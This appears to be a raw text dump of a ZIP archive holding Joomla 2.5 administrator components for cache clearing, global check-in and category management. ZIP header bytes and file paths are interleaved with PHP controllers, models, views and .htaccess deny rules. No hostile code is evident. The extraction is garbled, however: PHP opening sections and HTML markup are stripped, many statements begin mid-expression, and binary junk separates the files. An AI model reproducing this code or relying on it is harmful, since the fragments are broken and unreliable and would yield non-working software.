purge() { $cache = JFactory::getCache(''); return $cache->gc(); } } PK@y>\V&components/com_cache/models/index.htmlnuW+A PK@y>\JHHcomponents/com_cache/config.xmlnuW+A
      PK@y>\)&components/com_cache/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V'components/com_cache/helpers/index.htmlnuW+A PK@y>\o77&components/com_cache/helpers/cache.phpnuW+A\)components/com_cache/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)$components/com_cache/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)*components/com_cache/views/cache/.htaccessnuW+A Order allow,deny Deny from all PK@y>\data = $this->get('Data'); $this->client = $this->get('Client'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $user = JFactory::getUser(); $condition = ($this->client->name == 'site'); JToolBarHelper::title(JText::_('COM_CACHE_CLEAR_CACHE'), 'clear.png'); JToolBarHelper::custom('delete', 'delete.png', 'delete_f2.png', 'JTOOLBAR_DELETE', true); JToolBarHelper::divider(); if (JFactory::getUser()->authorise('core.admin', 'com_cache')) { JToolBarHelper::preferences('com_cache'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_SITE_MAINTENANCE_CLEAR_CACHE'); } } PK@y>\V+components/com_cache/views/cache/index.htmlnuW+A PK@y>\V0components/com_cache/views/cache/tmpl/index.htmlnuW+A PK@y>\)/components/com_cache/views/cache/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\P7 1components/com_cache/views/cache/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      data as $folder => $item): ?>
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> group; ?> count; ?> size*1024); ?>
      PK@y>\)*components/com_cache/views/purge/.htaccessnuW+A Order allow,deny Deny from all PK@y>\o.components/com_cache/views/purge/view.html.phpnuW+AaddToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { //JSubMenuHelper::addEntry(JText::_('COM_CACHE_BACK_CACHE_MANAGER'), 'index.php?option=com_cache', false); JToolBarHelper::title(JText::_('COM_CACHE_PURGE_EXPIRED_CACHE'), 'purge.png'); JToolBarHelper::custom('purge', 'delete.png', 'delete_f2.png', 'COM_CACHE_PURGE_EXPIRED', false); JToolBarHelper::divider(); if (JFactory::getUser()->authorise('core.admin', 'com_cache')) { JToolBarHelper::preferences('com_cache'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE'); } } PK@y>\V+components/com_cache/views/purge/index.htmlnuW+A PK@y>\)/components/com_cache/views/purge/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\}k!||1components/com_cache/views/purge/tmpl/default.phpnuW+A

      PK@y>\V0components/com_cache/views/purge/tmpl/index.htmlnuW+A PK@y>\V%components/com_cache/views/index.htmlnuW+A PK@y>\V #components/com_cache/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { switch ($vName) { case 'purge': break; case 'cache': default: $model = $this->getModel($vName); $view->setModel($model, true); break; } $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); // Load the submenu. CacheHelper::addSubmenu(JRequest::getCmd('view', 'cache')); $view->display(); } } public function delete() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JInvalid_Token')); $cid = JRequest::getVar('cid', array(), 'post', 'array'); $model = $this->getModel('cache'); if(empty($cid)) { JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED')); } else { $model->cleanlist($cid); } $this->setRedirect('index.php?option=com_cache&client='.$model->getClient()->id); } public function purge() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JInvalid_Token')); $model = $this->getModel('cache'); $ret = $model->purge(); $msg = JText::_('COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED'); $msgType = 'message'; if ($ret === false) { $msg = JText::_('Error purging expired items'); $msgType = 'error'; } $this->setRedirect('index.php?option=com_cache&view=purge', $msg, $msgType); } } PK@y>\) components/com_checkin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\m%components/com_checkin/controller.phpnuW+AaddSubmenu(JRequest::getWord('option', 'com_checkin')); parent::display(); return $this; } public function checkin() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JInvalid_Token')); // Initialise variables. $ids = JRequest::getVar('cid', array(), '', 'array'); if (empty($ids)) { JError::raiseWarning(500, JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST')); } else { // Get the model. $model = $this->getModel(); // Checked in the items. $this->setMessage(JText::plural('COM_CHECKIN_N_ITEMS_CHECKED_IN', $model->checkin($ids))); } $this->setRedirect('index.php?option=com_checkin'); } /** * Configure the Linkbar. * * @param string The name of the active view. * * @return void * @since 1.6 */ protected function addSubmenu($vName) { JSubMenuHelper::addEntry( JText::_('JGLOBAL_SUBMENU_CHECKIN'), 'index.php?option=com_checkin', $vName == 'com_checkin' ); JSubMenuHelper::addEntry( JText::_('JGLOBAL_SUBMENU_CLEAR_CACHE'), 'index.php?option=com_cache', $vName == 'cache' ); JSubMenuHelper::addEntry( JText::_('JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE'), 'index.php?option=com_cache&view=purge', $vName == 'purge' ); } } PK@y>\)&components/com_checkin/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V'components/com_checkin/views/index.htmlnuW+A PK@y>\V/components/com_checkin/views/checkin/index.htmlnuW+A PK@y>\+XX2components/com_checkin/views/checkin/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::_('COM_CHECKIN_GLOBAL_CHECK_IN'), 'checkin.png'); JToolBarHelper::custom('checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true); JToolBarHelper::divider(); if (JFactory::getUser()->authorise('core.admin', 'com_checkin')) { JToolBarHelper::preferences('com_checkin'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN'); } } PK@y>\).components/com_checkin/views/checkin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)3components/com_checkin/views/checkin/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V4components/com_checkin/views/checkin/tmpl/index.htmlnuW+A PK@y>\>L 5components/com_checkin/views/checkin/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $table => $count): $i=0;?>
      pagination->getListFooter(); ?>
      PK@y>\Hoo"components/com_checkin/checkin.xmlnuW+A com_checkin Joomla! Project (C) 2005 - 2008 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 COM_CHECKIN_XML_DESCRIPTION checkin.php config.xml controller.php index.html models views language/en-GB.com_checkin.ini PK@y>\**"components/com_checkin/checkin.phpnuW+Aauthorise('core.manage', 'com_checkin')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Checkin'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\C5HH!components/com_checkin/config.xmlnuW+A
      PK@y>\/ )components/com_checkin/models/checkin.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); // List state information. parent::populateState('table', 'asc'); } /** * Checks in requested tables * * @param array An array of table names. Optional. * @return int Checked in item count * @since 1.6 */ public function checkin($ids = array()) { $app = JFactory::getApplication(); $db = $this->_db; $nullDate = $db->getNullDate(); if (!is_array($ids)) { return; } // this int will hold the checked item count $results = 0; foreach ($ids as $tn) { // make sure we get the right tables based on prefix if (stripos($tn, $app->getCfg('dbprefix')) !== 0) { continue; } $fields = $db->getTableColumns($tn); if (!(isset($fields['checked_out']) && isset($fields['checked_out_time']))) { continue; } $query = $db->getQuery(true) ->update($db->quoteName($tn)) ->set('checked_out = 0') ->set('checked_out_time = '.$db->Quote($nullDate)) ->where('checked_out > 0'); if (isset($fields[$tn]['editor'])) { $query->set('editor = NULL'); } $db->setQuery($query); if ($db->query()) { $results = $results + $db->getAffectedRows(); } } return $results; } /** * Get total of tables * * @return int Total to check-in tables * @since 1.6 */ public function getTotal() { if (!isset($this->total)) { $this->getItems(); } return $this->total; } /** * Get tables * * @return array Checked in table names as keys and checked in item count as values * @since 1.6 */ public function getItems() { if (!isset($this->items)) { $app = JFactory::getApplication(); $db = $this->_db; $nullDate = $db->getNullDate(); $tables = $db->getTableList(); // this array will hold table name as key and checked in item count as value $results = array(); foreach ($tables as $i => $tn) { // make sure we get the right tables based on prefix if (stripos($tn, $app->getCfg('dbprefix')) !== 0) { unset($tables[$i]); continue; } if ($this->getState('filter.search') && stripos($tn, $this->getState('filter.search')) === false) { unset($tables[$i]); continue; } $fields = $db->getTableColumns($tn); if (!(isset($fields['checked_out']) && isset($fields['checked_out_time']))) { unset($tables[$i]); continue; } } foreach ($tables as $tn) { $query=$db->getQuery(true) ->select('COUNT(*)') ->from($db->quoteName($tn)) ->where('checked_out > 0'); $db->setQuery($query); if ($db->query()) { $results[$tn] = $db->loadResult(); } else { continue; } } $this->total = count($results); if ($this->getState('list.ordering')=='table') { if ($this->getState('list.direction')=='asc') { ksort($results); } else { krsort($results); } } else { if ($this->getState('list.direction')=='asc') { asort($results); } else { arsort($results); } } $results = array_slice($results, $this->getState('list.start'), $this->getState('list.limit') ? $this->getState('list.limit') : null); $this->items = $results; } return $this->items; } } PK@y>\)'components/com_checkin/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V(components/com_checkin/models/index.htmlnuW+A PK@y>\V!components/com_checkin/index.htmlnuW+A PK@y>\Vcomponents/index.htmlnuW+A PK@y>\$(components/com_categories/categories.xmlnuW+A com_categories Joomla! Project December 2007 (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 COM_CATEGORIES_XML_DESCRIPTION categories.php config.xml controller.php index.html controllers helpers models views language/en-GB.com_categories.ini PK@y>\lUU(components/com_categories/categories.phpnuW+Aauthorise('core.manage', JRequest::getCmd('extension'))) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Execute the task. $controller = JControllerLegacy::getInstance('Categories'); $controller->execute(JRequest::getVar('task')); $controller->redirect(); PK@y>\))components/com_categories/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\,6components/com_categories/views/category/tmpl/edit.phpnuW+A
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('extension'); ?> form->getInput('extension'); ?>
      • form->getLabel('parent_id'); ?> form->getInput('parent_id'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • canDo->get('core.admin')): ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      form->getLabel('description'); ?>
      form->getInput('description'); ?>
      item->id, array('useCookie'=>1)); ?> loadTemplate('options'); ?>
      loadTemplate('metadata'); ?>
      form->getFieldsets('attribs'); ?> $fieldSet) : ?> label) ? $fieldSet->label : 'COM_CATEGORIES_'.$name.'_FIELDSET_LABEL'; ?> description) && trim($fieldSet->description)) : ?>

      escape(JText::_($fieldSet->description));?>

        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      canDo->get('core.admin')): ?>
      item->id, array('useCookie'=>1)); ?>
      form->getLabel('rules'); ?> form->getInput('rules'); ?>
      PK@y>\ŕ>components/com_categories/views/category/tmpl/edit_options.phpnuW+A
      • form->getLabel('created_user_id'); ?> form->getInput('created_user_id'); ?>
      • item->created_time)) : ?>
      • form->getLabel('created_time'); ?> form->getInput('created_time'); ?>
      • item->modified_user_id) : ?>
      • form->getLabel('modified_user_id'); ?> form->getInput('modified_user_id'); ?>
      • form->getLabel('modified_time'); ?> form->getInput('modified_time'); ?>
      form->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CATEGORIES_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      • form->getLabel('note'); ?> form->getInput('note'); ?>
      PK@y>\m?components/com_categories/views/category/tmpl/edit_metadata.phpnuW+A
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getGroup('metadata') as $field): ?> hidden): ?>
      • input; ?>
      • label; ?> input; ?>
      PK@y>\V8components/com_categories/views/category/tmpl/index.htmlnuW+A PK@y>\)7components/com_categories/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\u6components/com_categories/views/category/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); $this->canDo = CategoriesHelper::getActions($this->state->get('category.component')); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); JRequest::setVar('hidemainmenu', true); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { // Initialise variables. $extension = JRequest::getCmd('extension'); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); // Avoid nonsense situation. if ($extension == 'com_categories') { return; } // The extension can be in the form com_foo.section $parts = explode('.', $extension); $component = $parts[0]; $section = (count($parts) > 1) ? $parts[1] : null; // Need to load the menu language file as mod_menu hasn't been loaded yet. $lang = JFactory::getLanguage(); $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component, null, false, true); // Load the category helper. require_once JPATH_COMPONENT.'/helpers/categories.php'; // Get the results for each action. $canDo = CategoriesHelper::getActions($component, $this->item->id); // If a component categories title string is present, let's use it. if ($lang->hasKey($component_title_key = $component.($section?"_$section":'').'_CATEGORY_'.($isNew?'ADD':'EDIT').'_TITLE')) { $title = JText::_($component_title_key); } // Else if the component section string exits, let's use it elseif ($lang->hasKey($component_section_key = $component.($section?"_$section":''))) { $title = JText::sprintf( 'COM_CATEGORIES_CATEGORY_'.($isNew?'ADD':'EDIT').'_TITLE', $this->escape(JText::_($component_section_key))); } // Else use the base title else { $title = JText::_('COM_CATEGORIES_CATEGORY_BASE_'.($isNew?'ADD':'EDIT').'_TITLE'); } // Load specific css component JHtml::_('stylesheet', $component.'/administrator/categories.css', array(), true); // Prepare the toolbar. JToolBarHelper::title($title, 'category-'.($isNew?'add':'edit').' '.substr($component, 4).($section?"-$section":'').'-category-'.($isNew?'add':'edit')); // For new records, check the create permission. if ($isNew && (count($user->getAuthorisedCategories($component, 'core.create')) > 0)) { JToolBarHelper::apply('category.apply'); JToolBarHelper::save('category.save'); JToolBarHelper::save2new('category.save2new'); } // If not checked out, can save the item. elseif (!$checkedOut && ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_user_id == $userId))) { JToolBarHelper::apply('category.apply'); JToolBarHelper::save('category.save'); if ($canDo->get('core.create')) { JToolBarHelper::save2new('category.save2new'); } } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('category.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('category.cancel'); } else { JToolBarHelper::cancel('category.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); // Compute the ref_key if it does exist in the component if (!$lang->hasKey($ref_key = strtoupper($component.($section?"_$section":'')).'_CATEGORY_'.($isNew?'ADD':'EDIT').'_HELP_KEY')) { $ref_key = 'JHELP_COMPONENTS_'.strtoupper(substr($component, 4).($section?"_$section":'')).'_CATEGORY_'.($isNew?'ADD':'EDIT'); } // Get help for the category/section view for the component by // -remotely searching in a language defined dedicated URL: *component*_HELP_URL // -locally searching in a component help file if helpURL param exists in the component and is set to '' // -remotely searching in a component URL if helpURL param exists in the component and is NOT set to '' if ($lang->hasKey($lang_help_url = strtoupper($component).'_HELP_URL')) { $debug = $lang->setDebug(false); $url = JText::_($lang_help_url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($ref_key, JComponentHelper::getParams( $component )->exists('helpURL'), $url, $component); } } PK@y>\V3components/com_categories/views/category/index.htmlnuW+A PK@y>\)2components/com_categories/views/category/.htaccessnuW+A Order allow,deny Deny from all PK@y>\s~b  Acomponents/com_categories/views/categories/tmpl/default_batch.phpnuW+Astate->get('filter.published'); $extension = $this->escape($this->state->get('filter.extension')); ?>

      = 0) : ?>
      PK@y>\V:components/com_categories/views/categories/tmpl/index.htmlnuW+A PK@y>\ ;components/com_categories/views/categories/tmpl/default.phpnuW+Aget('id'); $extension = $this->escape($this->state->get('filter.extension')); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ordering = ($listOrder == 'a.lft'); $saveOrder = ($listOrder == 'a.lft' && $listDirn == 'asc'); ?>
      items as $i => $item) : $orderkey = array_search($item->id, $this->ordering[$item->parent_id]); $canEdit = $user->authorise('core.edit', $extension.'.category.'.$item->id); $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', $extension.'.category.'.$item->id) && $item->created_user_id == $userId; $canChange = $user->authorise('core.edit.state', $extension.'.category.'.$item->id) && $canCheckin; ?>
      items, 'filesave.png', 'categories.saveorder'); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
      pagination->getListFooter(); ?>
      id); ?> |—', $item->level-1) ?> checked_out) : ?> editor, $item->checked_out_time, 'categories.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

      |—', $item->level-1) ?> note)) : ?> escape($item->alias));?> escape($item->alias), $this->escape($item->note));?>

      published, $i, 'categories.', $canChange);?> pagination->orderUpIcon($i, isset($this->ordering[$item->parent_id][$orderkey - 1]), 'categories.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, isset($this->ordering[$item->parent_id][$orderkey + 1]), 'categories.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> escape($item->access_level); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', $extension) & $user->authorize('core.edit', $extension) && $user->authorize('core.edit.state', $extension)) : ?> loadTemplate('batch'); ?>
      PK@y>\)9components/com_categories/views/categories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)4components/com_categories/views/categories/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Pc))8components/com_categories/views/categories/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Preprocess the list of items to find ordering divisions. foreach ($this->items as &$item) { $this->ordering[$item->parent_id][] = $item->id; } // Levels filter. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('J1')); $options[] = JHtml::_('select.option', '2', JText::_('J2')); $options[] = JHtml::_('select.option', '3', JText::_('J3')); $options[] = JHtml::_('select.option', '4', JText::_('J4')); $options[] = JHtml::_('select.option', '5', JText::_('J5')); $options[] = JHtml::_('select.option', '6', JText::_('J6')); $options[] = JHtml::_('select.option', '7', JText::_('J7')); $options[] = JHtml::_('select.option', '8', JText::_('J8')); $options[] = JHtml::_('select.option', '9', JText::_('J9')); $options[] = JHtml::_('select.option', '10', JText::_('J10')); $this->f_levels = $options; $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { // Initialise variables. $categoryId = $this->state->get('filter.category_id'); $component = $this->state->get('filter.component'); $section = $this->state->get('filter.section'); $canDo = null; $user = JFactory::getUser(); // Avoid nonsense situation. if ($component == 'com_categories') { return; } // Need to load the menu language file as mod_menu hasn't been loaded yet. $lang = JFactory::getLanguage(); $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component, null, false, true); // Load the category helper. require_once JPATH_COMPONENT.'/helpers/categories.php'; // Get the results for each action. $canDo = CategoriesHelper::getActions($component, $categoryId); // If a component categories title string is present, let's use it. if ($lang->hasKey($component_title_key = strtoupper($component.($section?"_$section":'')).'_CATEGORIES_TITLE')) { $title = JText::_($component_title_key); } // Else if the component section string exits, let's use it elseif ($lang->hasKey($component_section_key = strtoupper($component.($section?"_$section":'')))) { $title = JText::sprintf( 'COM_CATEGORIES_CATEGORIES_TITLE', $this->escape(JText::_($component_section_key))); } // Else use the base title else { $title = JText::_('COM_CATEGORIES_CATEGORIES_BASE_TITLE'); } // Load specific css component JHtml::_('stylesheet', $component.'/administrator/categories.css', array(), true); // Prepare the toolbar. JToolBarHelper::title($title, 'categories '.substr($component, 4).($section?"-$section":'').'-categories'); if ($canDo->get('core.create') || (count($user->getAuthorisedCategories($component, 'core.create'))) > 0 ) { JToolBarHelper::addNew('category.add'); } if ($canDo->get('core.edit' ) || $canDo->get('core.edit.own')) { JToolBarHelper::editList('category.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { JToolBarHelper::publish('categories.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('categories.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('categories.archive'); } if (JFactory::getUser()->authorise('core.admin')) { JToolBarHelper::checkin('categories.checkin'); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete', $component)) { JToolBarHelper::deleteList('', 'categories.delete', 'JTOOLBAR_EMPTY_TRASH'); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('categories.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::custom('categories.rebuild', 'refresh.png', 'refresh_f2.png', 'JTOOLBAR_REBUILD', false); JToolBarHelper::preferences($component); JToolBarHelper::divider(); } // Compute the ref_key if it does exist in the component if (!$lang->hasKey($ref_key = strtoupper($component.($section?"_$section":'')).'_CATEGORIES_HELP_KEY')) { $ref_key = 'JHELP_COMPONENTS_'.strtoupper(substr($component, 4).($section?"_$section":'')).'_CATEGORIES'; } // Get help for the categories view for the component by // -remotely searching in a language defined dedicated URL: *component*_HELP_URL // -locally searching in a component help file if helpURL param exists in the component and is set to '' // -remotely searching in a component URL if helpURL param exists in the component and is NOT set to '' if ($lang->hasKey($lang_help_url = strtoupper($component).'_HELP_URL')) { $debug = $lang->setDebug(false); $url = JText::_($lang_help_url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($ref_key, JComponentHelper::getParams( $component )->exists('helpURL'), $url); } } PK@y>\V5components/com_categories/views/categories/index.htmlnuW+A PK@y>\V*components/com_categories/views/index.htmlnuW+A PK@y>\.&9 (components/com_categories/controller.phpnuW+Aextension)) { $this->extension = JRequest::getCmd('extension', 'com_content'); } } /** * Method to display a view. * * @param boolean If true, the view output will be cached * @param array An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController This object to support chaining. * @since 1.5 */ public function display($cachable = false, $urlparams = false) { // Get the document object. $document = JFactory::getDocument(); // Set the default view name and format from the Request. $vName = JRequest::getCmd('view', 'categories'); $vFormat = $document->getType(); $lName = JRequest::getCmd('layout', 'default'); $id = JRequest::getInt('id'); // Check for edit form. if ($vName == 'category' && $lName == 'edit' && !$this->checkEditId('com_categories.edit.category', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_categories&view=categories&extension='.$this->extension, false)); return false; } // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. $model = $this->getModel($vName, 'CategoriesModel', array('name' => $vName . '.' . substr($this->extension, 4))); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); // Load the submenu. require_once JPATH_COMPONENT.'/helpers/categories.php'; CategoriesHelper::addSubmenu($model->getState('filter.extension')); $view->display(); } return $this; } } PK@y>\ȼHH$components/com_categories/config.xmlnuW+A
      PK@y>\V$components/com_categories/index.htmlnuW+A PK@y>\V2components/com_categories/models/fields/index.htmlnuW+A PK@y>\)1components/com_categories/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!Ԟ:components/com_categories/models/fields/categoryparent.phpnuW+Aelement['name']; // Let's get the id for the current item, either category or content item. $jinput = JFactory::getApplication()->input; // For categories the old category is the category id 0 for new category. if ($this->element['parent']) { $oldCat = $jinput->get('id',0); $oldParent = $this->form->getValue($name); } else // For items the old category is the category they are in when opened or 0 if new. { $thisItem = $jinput->get('id',0); $oldCat = $this->form->getValue($name); } $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, a.level'); $query->from('#__categories AS a'); $query->join('LEFT', $db->quoteName('#__categories').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); // Filter by the type if ($extension = $this->form->getValue('extension')) { $query->where('(a.extension = '.$db->quote($extension).' OR a.parent_id = 0)'); } if ($this->element['parent']) { // Prevent parenting to children of this item. if ($id = $this->form->getValue('id')) { $query->join('LEFT', $db->quoteName('#__categories').' AS p ON p.id = '.(int) $id); $query->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)'); $rowQuery = $db->getQuery(true); $rowQuery->select('a.id AS value, a.title AS text, a.level, a.parent_id'); $rowQuery->from('#__categories AS a'); $rowQuery->where('a.id = ' . (int) $id); $db->setQuery($rowQuery); $row = $db->loadObject(); } } $query->where('a.published IN (0,1)'); $query->group('a.id, a.title, a.level, a.lft, a.rgt, a.extension, a.parent_id'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pad the option text with spaces using depth level as a multiplier. for ($i = 0, $n = count($options); $i < $n; $i++) { // Translate ROOT if ($options[$i]->level == 0) { $options[$i]->text = JText::_('JGLOBAL_ROOT_PARENT'); } $options[$i]->text = str_repeat('- ', $options[$i]->level).$options[$i]->text; } // Initialise variables. // Get the current user object. $user = JFactory::getUser(); // For new items we want a list of categories you are allowed to create in. if ($oldCat == 0) { foreach ($options as $i => $option) { // To take save or create in a category you need to have create rights for that category // unless the item is already in that category. // Unset the option if the user isn't authorised for it. In this field assets are always categories. if ($user->authorise('core.create', $extension . '.category.' . $option->value) != true ) { unset($options[$i]); } } } // If you have an existing category id things are more complex. else { //$categoryOld = $this->form->getValue($name); foreach ($options as $i => $option) { // If you are only allowed to edit in this category but not edit.state, you should not get any // option to change the category parent for a category or the category for a content item, // but you should be able to save in that category. if ($user->authorise('core.edit.state', $extension . '.category.' . $oldCat) != true) { if ($option->value != $oldCat) {echo 'y'; unset($options[$i]); } } // However, if you can edit.state you can also move this to another category for which you have // create permission and you should also still be able to save in the current category. elseif (($user->authorise('core.create', $extension . '.category.' . $option->value) != true) && $option->value != $oldCat) {echo 'x'; unset($options[$i]); } } } if (isset($row) && !isset($options[0])) { if ($row->parent_id == '1') { $parent = new stdClass(); $parent->text = JText::_('JGLOBAL_ROOT_PARENT'); array_unshift($options, $parent); } } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK@y>\\w8components/com_categories/models/fields/categoryedit.phpnuW+Aelement['published']? $this->element['published'] : array(0,1); $name = (string) $this->element['name']; // Let's get the id for the current item, either category or content item. $jinput = JFactory::getApplication()->input; // Load the category options for a given extension. // For categories the old category is the category id or 0 for new category. if ($this->element['parent'] || $jinput->get('option') == 'com_categories') { $oldCat = $jinput->get('id', 0); $oldParent = $this->form->getValue($name, 0); $extension = $this->element['extension'] ? (string) $this->element['extension'] : (string) $jinput->get('extension','com_content'); } else // For items the old category is the category they are in when opened or 0 if new. { $thisItem = $jinput->get('id',0); $oldCat = $this->form->getValue($name, 0); $extension = $this->element['extension'] ? (string) $this->element['extension'] : (string) $jinput->get('option','com_content'); } $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, a.level, a.published'); $query->from('#__categories AS a'); $query->join('LEFT', $db->quoteName('#__categories').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); // Filter by the extension type if ($this->element['parent'] == true || $jinput->get('option') == 'com_categories') { $query->where('(a.extension = '.$db->quote($extension).' OR a.parent_id = 0)'); } else { $query->where('(a.extension = '.$db->quote($extension).')'); } // If parent isn't explicitly stated but we are in com_categories assume we want parents if ($oldCat != 0 && ($this->element['parent'] == true || $jinput->get('option') == 'com_categories')) { // Prevent parenting to children of this item. // To rearrange parents and children move the children up, not the parents down. 